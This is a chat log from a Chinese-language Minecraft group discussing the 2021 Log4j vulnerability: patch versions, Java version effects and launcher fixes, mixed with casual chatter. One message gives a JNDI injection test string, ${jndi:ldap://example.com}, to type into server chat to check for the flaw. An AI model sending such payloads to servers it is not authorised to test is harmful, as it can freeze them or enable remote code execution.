Log for Minecraft 中文群組 (Chinese only)

那我呢

明明是我先来的

[2021.12.10] Log4j 0day CVE 漏洞警示及修复指南
https://www.mcbbs.net/thread-1283097-1-1.html
(出处: Minecraft(我的世界)中文论坛)

你好

看起來蠻嚴重的

所有人都應該立刻更新

1.18.1-rc3 已經修好了

Minecraft总能给我整出点新花样

fabric有人做mod

fabric loader本身也有處理

這是什麼光影

可我是vanilla（

直上1.18.1-rc3

或者裝上fabric

新版java不會造成RCE，但還是能炸服

细说

一行字就能卡死好一段時間

不打算上rc或者其他服务端

这个倒问题不大

卡应该是因为尝试连接ldap地址但是连接不上？

對

我今天尝试复现失败了

一行卡死30秒不大嗎

好像还要低版本jdk

不大啊

你mc之前

一个堆肥桶就能让服务器反复去世

主要是这个漏洞能远程执行代码

玩家容忍度那麼高的阿

是啊

vanilla生电服

java 11以上應該都不會變RCE

毕竟mojang每次更新都是往💩山上加💩

要測試的話直接在聊天室打 ${jndi:ldap://example.com} 沒修的話會卡死好一段時間

然而官方啟動器 1.17 以下都是 jre8

Client 端在 1.12 以上是修好了
所以現在影響比較大的應該是 Server 端

啊这

哈人

实测1.17.1客户端日志会报错，应该没修

我不知道

启动器自动修复应该是自动加了启动参数或者补丁

1.18好用的材质包有推荐吗

我的牧场

酷欸

👍👍👍

你好，我认识你好